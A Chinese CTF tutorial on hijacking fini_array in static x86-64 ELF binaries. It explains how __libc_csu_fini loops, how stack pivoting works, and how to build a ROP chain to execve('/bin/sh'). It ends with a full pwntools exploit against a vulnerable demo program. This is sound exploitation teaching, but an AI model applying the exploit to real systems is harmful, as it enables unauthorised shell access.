這篇文章源自pwnable.tw上的一道題目3x17
,其中用到了fini_array
劫持,比較有意思,於是寫篇文章分析記錄總結一下關於fini_array
的利用方式~
0x0 背景
用gdb
調試main
函數的時候,不難發現main
的返回地址是__libc_start_main
也就是說main
並不是程序真正開始的地方,__libc_start_main
是main
的爸爸
然鵝,__libc_start_main
也有爸爸,他就是_start
也就是Entry point
程序的進入點啦,可以通過readelf -h
查看:
ELF Header:
Magic: 7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - GNU
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x401a60
Start of program headers: 64 (bytes into file)
Start of section headers: 835672 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 8
Size of section headers: 64 (bytes)
Number of section headers: 31
Section header string table index: 30
這是一個64位靜態編譯的ELF程序
其中,Entry point address: 0x401a60
就是_start
的地址:
.text:0000000000401A60 public start
.text:0000000000401A60 start proc near
.text:0000000000401A60 ; __unwind {
.text:0000000000401A60 xor ebp, ebp
.text:0000000000401A62 mov r9, rdx
.text:0000000000401A65 pop rsi
.text:0000000000401A66 mov rdx, rsp
.text:0000000000401A69 and rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401A6D push rax
.text:0000000000401A6E push rsp
.text:0000000000401A6F mov r8, offset sub_402BD0 ; fini
.text:0000000000401A76 mov rcx, offset loc_402B40 ; init
.text:0000000000401A7D mov rdi, offset main
.text:0000000000401A84 db 67h
.text:0000000000401A84 call __libc_start_main
.text:0000000000401A8A hlt
.text:0000000000401A8A ; } // starts at 401A60
.text:0000000000401A8A start endp
64位程序通過寄存器來保存函數參數:
rdi - first argument rsi - second argument rdx - third argument rcx - fourth argument r8 - fifth argument r9 - sixth argument
0x1 __libc_start_main分析
對應_start
的代碼,可以發現__libc_start_main
函數的參數中,有3個是函數指針:
rdi
<-main
rcx
<-__libc_csu_init
r8
<-__libc_csu_fini
不難想到,除main
以外的這兩位兄弟,一位在main
開始執行前執行,一位在main
執行完畢後執行
__libc_csu_fini函數
__libc_csu_fini
就是在main
執行完畢後執行的那位,這兄弟雖然只有短短几行指令,但是能利用的點卻不少,他長這樣:
pwndbg> x/20i 0x402bd0
0x402bd0 <__libc_csu_fini>: push rbp
0x402bd1 <__libc_csu_fini+1>: lea rax,[rip+0xb24e8] # 0x4b50c0
0x402bd8 <__libc_csu_fini+8>: lea rbp,[rip+0xb24d1] # 0x4b50b0
0x402bdf <__libc_csu_fini+15>: push rbx
0x402be0 <__libc_csu_fini+16>: sub rax,rbp
0x402be3 <__libc_csu_fini+19>: sub rsp,0x8
0x402be7 <__libc_csu_fini+23>: sar rax,0x3
0x402beb <__libc_csu_fini+27>: je 0x402c06 <__libc_csu_fini+54>
0x402bed <__libc_csu_fini+29>: lea rbx,[rax-0x1]
0x402bf1 <__libc_csu_fini+33>: nop DWORD PTR [rax+0x0]
0x402bf8 <__libc_csu_fini+40>: call QWORD PTR [rbp+rbx*8+0x0]
0x402bfc <__libc_csu_fini+44>: sub rbx,0x1
0x402c00 <__libc_csu_fini+48>: cmp rbx,0xffffffffffffffff
0x402c04 <__libc_csu_fini+52>: jne 0x402bf8 <__libc_csu_fini+40>
0x402c06 <__libc_csu_fini+54>: add rsp,0x8
0x402c0a <__libc_csu_fini+58>: pop rbx
0x402c0b <__libc_csu_fini+59>: pop rbp
0x402c0c <__libc_csu_fini+60>: jmp 0x48f52c <_fini>
下面先概括的說下這個函數可利用的點,在後面會詳細分析
利用方式 - 棧遷移
首先,看下面這條指令:
0x402bd8: lea rbp,[rip+0xb24d1] # 0x4b50b0
rbp = 0x4b50b0
,0x4b50b0
是fini_array
的首地址
這條指令相當於lea rbp,[fini_array]
,因此,在這裏配合gadget
:
leave ; (mov rsp,ebp; pop rbp)
ret
便可以把__棧遷移__到fini_array
(fini_array
存儲的函數指針,可能有__寫權限__)
利用方式 - 控制流劫持
下面還有一條call
指令:
0x402bf8: call QWORD PTR [rbp+rbx*8]
rbp
即爲fini_array
,因此這裏將調用fini_array
中的函數
只要修改fini_array
中的值,就可以實現__控制流的轉移__啦(傳說中的fini_array
劫持)
這裏分析的64位的靜態編譯程序,可見其中的__libc_csu_fini
函數簡直好用的不得了鴨,既可以完成__棧遷移__,又能夠劫持__控制流__
動態鏈接的程序
__libc_csu_fini
很短,並沒有上述指令…但是也有類似fini_array的函數指針
0x2 fini_array分析
fini_array
的地址可通過查看靜態編譯程序的section
信息獲得:
pwndbg> elfheader
0x400200 - 0x400224 .note.gnu.build-id
0x400224 - 0x400244 .note.ABI-tag
0x400248 - 0x400470 .rela.plt
0x401000 - 0x401017 .init
0x401018 - 0x4010d0 .plt
0x4010d0 - 0x48d630 .text
0x48d630 - 0x48f52b __libc_freeres_fn
0x48f52c - 0x48f535 .fini
0x490000 - 0x4a95dc .rodata
0x4a95dc - 0x4a95dd .stapsdt.base
0x4a95e0 - 0x4b3d00 .eh_frame
0x4b3d00 - 0x4b3da9 .gcc_except_table
0x4b5080 - 0x4b50a0 .tdata
0x4b50a0 - 0x4b50b0 .init_array
0x4b50a0 - 0x4b50e0 .tbss
0x4b50b0 - 0x4b50c0 .fini_array
0x4b50c0 - 0x4b7ef4 .data.rel.ro
0x4b7ef8 - 0x4b7fe8 .got
0x4b8000 - 0x4b80d0 .got.plt
0x4b80e0 - 0x4b9bf0 .data
0x4b9bf0 - 0x4b9c38 __libc_subfreeres
0x4b9c40 - 0x4ba2e8 __libc_IO_vtables
0x4ba2e8 - 0x4ba2f0 __libc_atexit
0x4ba300 - 0x4bba78 .bss
0x4bba78 - 0x4bbaa0 __libc_freeres_ptrs
其中0x4b50b0 - 0x4b50c0
即.fini_array
數組,其中存在兩個函數指針:
pwndbg> x/2xg 0x4b50b0
0x4b50b0: 0x0000000000401b10 0x0000000000401580
pwndbg> x/i 0x0000000000401b10
0x401b10 <__do_global_dtors_aux>: cmp BYTE PTR [rip+0xb87e9],0x0
pwndbg> x/i 0x0000000000401580
0x401580 <fini>: mov rax,QWORD PTR [rip+0xb9b71]
array[0]
->__do_global_dtors_aux
array[1]
->fini
這兩個函數都會在main
執行完畢後執行,因此只要__覆蓋這兩個函數指針,即可實現控制流的劫持__
此外,靜態鏈接的程序也有
PLT
表和GOT
表,也可以覆蓋通過GOT
中的函數指針實現控制流劫持
上述fini_array
中的兩個函數指針在__libc_csu_fini
(上文說的那位兄弟)中被執行
執行的順序是array[1]->array[0]
(後有詳解)
0x3 一種好玩兒的利用方式
循環大法
一種比較好玩兒的操作:
- 把
array[0]
的值覆蓋爲那位兄弟(__libc_csu_fini
函數)的地址 - 把
array[1]
的值覆蓋爲另一個函數地址,就叫他addrA
吧
於是,main
執行完畢後執行__libc_csu_fini
,於是有意思的來了!
__libc_csu_fini
先執行一遍array[1]:addrA
,返回後再執行array[0]:__libc_csu_fini
__libc_csu_fini
先執行一遍array[1]:addrA
,返回後再執行array[0]:__libc_csu_fini
__libc_csu_fini
先執行一遍array[1]:addrA
,返回後再執行array[0]:__libc_csu_fini
- …
看!連起來啦~ main
->__libc_csu_fini
->addrA
->__libc_csu_fini
->addrA
-> ......
因吹斯汀~
詳細過程
詳細的過程如下:
0x402bd1 <__libc_csu_fini+1>: lea rax,[rip+0xb24e8] # 0x4b50c0
0x402bd8 <__libc_csu_fini+8>: lea rbp,[rip+0xb24d1] # 0x4b50b0
0x402bdf <__libc_csu_fini+15>: push rbx
0x402be0 <__libc_csu_fini+16>: sub rax,rbp
0x402be3 <__libc_csu_fini+19>: sub rsp,0x8
0x402be7 <__libc_csu_fini+23>: sar rax,0x3
rax = 0x4b50c0 - 0x4b50b0 = 0x10
rax = 0x10 >> 3 = 2
0x402bed <__libc_csu_fini+29>: lea rbx,[rax-0x1]
0x402bf1 <__libc_csu_fini+33>: nop DWORD PTR [rax+0x0]
0x402bf8 <__libc_csu_fini+40>: call QWORD PTR [rbp+rbx*8+0x0]
rbx = rax-1 = 1
call [rbp+rbx*8+0x0]
即call array[1]
即call addrA
0x402bfc <__libc_csu_fini+44>: sub rbx,0x1
0x402c00 <__libc_csu_fini+48>: cmp rbx,0xffffffffffffffff
0x402c04 <__libc_csu_fini+52>: jne 0x402bf8 <__libc_csu_fini+40>
addrA
執行完畢後返回到0x402bfc
rbx = rbp - 1 = 0
rbx != -1
,滿足跳轉條件
於是,程序控制流又回到了那位兄弟手中:
0x402bf8 <__libc_csu_fini+40>: call QWORD PTR [rbp+rbx*8+0x0]
此時執行的是call array[1]
即call __libc_csu_fini
(call
自己個兒啊)
於是循環往復,只要array[0]
中的__libc_csu_fini
值不變,程序就會一直循環執行addrA
當然,將array[1]
中的addrA
改成其他的addrB
、addrC
也都會執行
想要終止循環,只需把array[0]
中的__libc_csu_fini
換掉即可
就這樣,那位兄弟只要佔住了array[0]
這個坑,就可以讓addrA
無限次的執行下去啦
小結一下
-
x64
靜態編譯程序,劫持fini_array
array[0]
覆蓋爲__libc_csu_fini
array[1]
覆蓋爲另一地址addrA
-
程序將循環執行
addrA
-
終止條件爲
array[0]
不再爲__libc_csu_fini
相當於:
while (array[0] == __libc_csu_fini){
addrA();
}
這其實是一種可以讓漏洞被重複利用的方式,比如addrA
中存在任意寫一字節內存漏洞,通過上面這個循環就可以將漏洞放大,實現任意寫多字節
0x4 ROP攻擊
上述利用方式可以與ROP
攻擊相結合
雖說直接用one_gadget比較方便,但是有時還是需要用到ROP的…
棧遷移
由於劫持控制流的位置是在程序執行完畢後的fini_array
中,因此在ROP攻擊前,需要先進行__棧遷移__:
leave; ret
相當於執行如下操作:
mov rsp, rbp
(fini_array
->rsp
)pop rbp
(fini_array
->rbp
)ret
(fini_array+0x8
->ret
)
這裏有兩種棧遷移方法:
第一種:在array[1]
處遷移棧(需遷移兩次)
fini_array+0x0:(data)fini_array+0x8
fini_array+0x8:(gadget)leave_ret
fini_array+0x10:rop chain
第二種:跳過array[1]
,在array[0]
處遷移棧
fini_array+0x0
:(gadget)leave_ret
fini_array+0x8
:(gadget)ret
fini_array+0x10:rop chain
這兩種方法都可以達到棧遷移的目的,直接說比較難理解,待會實際調試一下就明白啦(下面有例子)
總之,向fini_array+0x10
,fini_array+0x18...
中依次佈置gadget
構造好了ROP
鏈,就可以完成ROP
攻擊啦~
舉個栗子
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
char buf[30];
write(1,"addr:",5);
read(0,&buf,200);
int *addr = buf;
write(1,"data:",5);
read(0,*addr,24);
return 0;
}
$ gcc demo.c -no-pie --static -o demo
漏洞分析
很明顯,存在任意寫內存的漏洞,可以改寫任意內存位置的連續24個字節。利用方式如下:
ru('addr:')
sl(p64(addr))
ru('data:')
se(p64(data1)+p64(data2)+p64(data3))
漏洞放大
24字節顯然不夠,於是可以用上文提到的循環大法:
array[0]
->__libc_csu_fini
array[1]
->main
讓main
函數多執行幾次,這樣就可以控制足夠大的內存空間,往裏面佈置ROP
鏈啦~
攻擊思路
就這個栗子而言,ROP
攻擊的思路大概是這樣:
- 利用任意寫,劫持
fini_array
- 循環執行
main
,利用任意寫,將ROP
鏈佈置到fini_array+0x10
- 終止循環,並將棧遷移到
fini_array+0x10
執行ROP
鏈
劫持fini_array+循環利用
改寫fini_array
的兩個函數指針,開啓循環大法:
array[0]
->__libc_csu_fini
array[1]
->main
ru('addr:')
sl(p64(fini_array))
ru('data:')
se(p64(libc_csu_fini)+p64(main))
佈置ROP鏈
執行SYS_execve('/bin/sh',0,0)
,需要完成以下寄存器的佈局:
RAX 0x3b
RDI addr -> '/bin/sh'
RDX 0
RSI 0
對應的ROP
鏈如下:
pop_rdi=0x00000000004016a6 # pop rdi ; ret
pop_rax=0x0000000000447bbc # pop rax ; ret
pop_rdx_rsi=0x000000000044a659 # pop rdx ; pop rsi ; ret
syscall = 0x0000000000402434 # syscall
bin_sh_addr=fini_array+0x50 # ropchain start at fini_array+0x10
ropchain = [p64(pop_rdi),p64(bin_sh_addr),
p64(pop_rax),p64(0x3b),
p64(pop_rdx_rsi),p64(0),p64(0),
p64(syscall),
"/bin/sh\x00"]
# write ropchain to fini_array
for i in range(len(ropchain)):
ru('addr:')
sl(p64(fini_array+0x10+i*8))
ru('data:')
se(ropchain[i])
跳出循環
佈置完ROP
鏈,就可以跳出循環了,改寫fini_array
中的函數指針,順便準備棧遷移
array[0]
->gadget:leave;ret
array[1]
->gadget:ret
ru('addr:')
sl(p64(fini_array))
ru('data:')
se(p64(leave)+p64(ret)) # break loop and stack pivot
棧遷移
跳出循環後,通過leave_ret
完成__棧遷移__,執行ROP
鏈:
這裏用的是上文中的第二種棧遷移方式:
fini_array+0x0
:(gadget)leave_ret
fini_array+0x8
:(gadget)ret
fini_array+0x10:rop chain
這是因爲循環大法中的array[1]
是main
,main
返回後將執行array[0]
處的函數:
leave
執行前:
► 0x401c29 <main+172> leave
0x401c2a <main+173> ret
↓
0x401016 <_init+22> ret
↓
0x4016a6 <init_cacheinfo+230> pop rdi
0x4016a7 <init_cacheinfo+231> ret
↓
0x447bbc <__open_nocancel+92> pop rax
pwndbg> x/10xg $rsp
0x7fff85f385c8: 0x0000000000402bfc 0x00000000004b50f8
0x7fff85f385d8: 0x0000000000000000 0x00000000004b50b0
0x7fff85f385e8: 0x0000000000402bfc 0x00000000004b50f0
0x7fff85f385f8: 0x0000000000000000 0x00000000004b50b0
0x7fff85f38608: 0x0000000000402bfc 0x00000000004b50e8
leave
執行後,棧被遷移到fini_array+0x8
,即array[1]
,但是這裏並不是ROP
鏈的開始,因此需要在array[1]
這裏用只含ret
一個指令的gadget
,讓控制流後移,進入到fini_array+0x10
的ROP
鏈中
0x401c29 <main+172> leave
► 0x401c2a <main+173> ret <0x401016; _init+22>
↓
0x401016 <_init+22> ret
↓
0x4016a6 <init_cacheinfo+230> pop rdi
0x4016a7 <init_cacheinfo+231> ret
↓
0x447bbc <__open_nocancel+92> pop rax
pwndbg> x/10xg $rsp
0x4b50b8: 0x0000000000401016 0x00000000004016a6
0x4b50c8: 0x00000000004b5100 0x0000000000447bbc
0x4b50d8: 0x000000000000003b 0x000000000044a659
0x4b50e8: 0x0000000000000000 0x0000000000000000
0x4b50f8: 0x0000000000402434 0x0068732f6e69622f
ROP
鏈執行完畢後就會執行SYS_execve('/bin/sh',0,0)
啦~
exp
最後,附上這個栗子的exp
:
#!/usr/bin/python
#__author__:TaQini
from pwn import *
local_file = './pwn4'
local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # '../libc.so.6'
if len(sys.argv) == 1:
p = process(local_file)
libc = ELF(local_libc)
elif len(sys.argv) > 1:
if len(sys.argv) == 3:
host = sys.argv[1]
port = sys.argv[2]
else:
host, port = sys.argv[1].split(':')
p = remote(host, port)
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(p,cmd)
# info
# gadget
leave = 0x0000000000401c29 # leave ; ret
ret = 0x0000000000401016 # ret
pop_rdi=0x00000000004016a6 # pop rdi ; ret
pop_rax=0x0000000000447bbc # pop rax ; ret
pop_rdx_rsi=0x000000000044a659 # pop rdx ; pop rsi ; ret
syscall = 0x0000000000402434 # syscall
# elf, libc
fini_array = 0x4b50b0
libc_csu_fini = 0x0402BD0 # __libc_csu_fini
main = 0x0401B7D
bin_sh_addr=fini_array+0x50
ropchain = [p64(pop_rdi),p64(bin_sh_addr),
p64(pop_rax),p64(0x3b),
p64(pop_rdx_rsi),p64(0),p64(0),
p64(syscall),
"/bin/sh\x00"]
# do loop :write any value to any addr
ru('addr:')
sl(p64(fini_array))
ru('data:')
se(p64(libc_csu_fini)+p64(main))
# ropchain
for i in range(len(ropchain)):
ru('addr:')
sl(p64(fini_array+0x10+i*8))
ru('data:')
se(ropchain[i])
ru('addr:')
sl(p64(fini_array))
ru('data:')
# debug()
se(p64(leave)+p64(ret)) # break loop and stack pivot
p.interactive()
0x5 總結
以上就是如何利用fini_array
部署、啓動一次ROP
攻擊
爲了方便說明,這篇文章中我用的是64位靜態編譯程序,沒開啓PIE保護,GOT表等函數指針也可以改寫,但是這並不說明這種利用方式是有侷限的。即使保護全開,不是靜態編譯,也可以通過同樣的思路進行攻擊,比如ACTF2020
的fmt64
,就是利用這種思路進行攻擊的。傳送門
近期例題
MidnightCTF2020-pwn6